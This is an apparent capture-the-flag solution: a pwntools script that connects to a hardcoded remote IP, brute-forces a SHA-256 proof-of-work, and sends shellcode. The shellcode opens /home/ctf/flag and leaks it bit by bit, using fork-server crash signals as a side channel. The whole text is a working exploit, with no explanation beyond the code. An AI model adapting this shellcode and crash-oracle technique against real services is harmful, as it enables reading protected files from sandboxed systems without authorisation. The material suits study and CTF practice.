1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
| from pwn import *
filename='harness'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=remote('61.147.171.106',64278)
e=ELF(filename)
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
difficulty = 12
zeros = '0' * difficulty
def is_valid(digest):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros
def sol(prefix):
i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
return i
def break_hash():
p.recvuntil(b"solve this: sha256(")
prefix = p.recvuntil(b" ",drop=True)
p.sendline(str(sol(prefix.decode())).encode())
def send_hex(msg):
h = msg.hex()
sla('>',h)
sa('>','\n')
break_hash()
ans = ''
this = ''
index = 0
while this != '}':
target = 0
for i in range(0,8):
pow2 = 7-i
target += 1<<pow2
shellcode = asm(f'''
lea rsi, [rbp - 0x400]
mov rdi, 0
mov rdx, 1
mov rax, 0
syscall
''')
shellcode += asm(shellcraft.open(b"/home/ctf/flag"))
shellcode += asm(f'''
lea rsi, [rbp - 0x400]
mov rdi, 4
mov rdx, 0x100
mov rax, 0
syscall
xor rbx, rbx
mov rax, {target}
mov bl, byte ptr[rsi + {index}]
cmp rbx, rax
je equal
jb below
after:
ud2
equal:
mov rax, 0x3c
syscall
below:
mov rsp, 0
ret
''')
send_hex(shellcode)
x = p.recvuntil("awesome, see you next time :)))")
p.close()
if(b"Fork server crashed with signal 4" in x):
p=remote('61.147.171.106',64278)
break_hash()
continue
if(b"Fork server crashed with signal 11" in x):
target -= 1<<pow2
p=remote('61.147.171.106',64278)
break_hash()
continue
this = chr(target)
ans += this
index +=1
print(ans)
p=remote('61.147.171.106',64278)
break_hash()
break
print(ans)
p.interactive()
|
